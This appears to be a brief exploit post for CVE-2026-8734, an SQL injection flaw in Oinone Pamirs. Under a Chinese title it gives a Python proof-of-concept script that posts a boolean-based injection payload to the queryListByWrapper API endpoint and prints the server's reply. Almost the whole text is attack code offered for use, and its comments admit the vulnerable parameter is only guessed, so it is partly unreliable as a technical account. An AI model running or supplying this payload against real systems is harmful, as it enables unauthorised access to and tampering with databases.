CVE-2026-8734 Oinone Pamirs SQL注入漏洞

import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-host:port/api/queryListByWrapper" # Malicious payload exploiting the RSQLToSQLNodeConnector.makeVariable vulnerability # Attempting to perform a boolean-based SQL injection payload = { # The vulnerable parameter is likely part of the wrapper or query object "wrapper": "name==test' OR '1'='1" } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-8734-Scanner" } try: # Send POST request to the vulnerable interface response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL injection indicators.") print(f"[+] Response Body: {response.text[:500]}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")